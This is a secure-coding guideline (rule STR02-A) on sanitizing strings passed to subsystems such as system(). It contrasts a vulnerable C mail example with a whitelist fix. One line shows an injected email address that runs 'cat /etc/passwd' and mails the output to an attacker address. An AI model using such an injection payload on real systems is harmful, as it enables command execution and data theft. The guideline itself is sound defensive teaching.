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String data passed to complex subsystems may contain special characters that can trigger commands or actions, resulting in a software vulnerability. As a result it is necessary to sanitize all string data passed to complex subsystems including, but not limited to:

  • command processor via a call to system() or similar function
  • relational databases
  • third-party COTS components (e.g., an enterprise resource planning subsystem)

Non-Compliant Code Example

Data sanitization requires an understanding of the data being passed and the capabilities of the subsystem. John Viega and Matt Messier provide an example of an application that inputs an email address into a buffer and then uses this string as an argument in a call to system() [Viega 03]:

sprintf(buffer, "/bin/mail %s < /tmp/email", addr);
system(buffer);

The risk is, of course, that the user enters the following string as an email address:

bogus@addr.com; cat /etc/passwd  | mail some@badguy.net

Compliant Code Solution

It is necessary to ensure that all valid data is accepted while potentially dangerous data is rejected or sanitized. This can be difficult when valid characters or sequences of characters also have special meaning to the subsystem and may involve validating the data against a grammar. In cases where there is no overlap, white listing can be used to eliminate dangerous characters from the data.

The white listing approach to data sanitization is to define a list of acceptable characters and remove any character that is not acceptable. The list of valid input values is typically a predictable, well-defined set of manageable size. This example, based on the tcp_wrappers package written by Wietse Venema, illustrates the white listing approach.

static char ok_chars[] = "abcdefghijklmnopqrstuvwxyz\
                           ABCDEFGHIJKLMNOPQRSTUVWXYZ\
                           1234567890_-.@";
char user_data[] = "Bad char 1:} Bad char 2:{";
char *cp; /* cursor into string */
for (cp = user_data; *(cp += strspn(cp, ok_chars)); )
  *cp = '_';

The benefit of white listing is that a programmer can be certain that a string contains only characters that are considered safe by the programmer. White listing is recommended over black listing, which traps all unacceptable characters, as the programmer only needs to ensure that acceptable characters are identified. As a result, the programmer can be less concerned about which characters an attacker may try in an attempt to bypass security checks.

Risk Assessment

Failure to sanitize data passed to a complex subsystem can lead to an injection attack, data integrity issues, and a loss of sensitive data.

Rule

Severity

Likelihood

Remediation Cost

Priority

Level

STR02-A

2 (medium)

3 (likely)

2 (medium)

P12

L1

References

[[Viega 03]]
[[ISO/IEC 9899-1999]] Section 7.20.4.6, "The system function"
VU#881872

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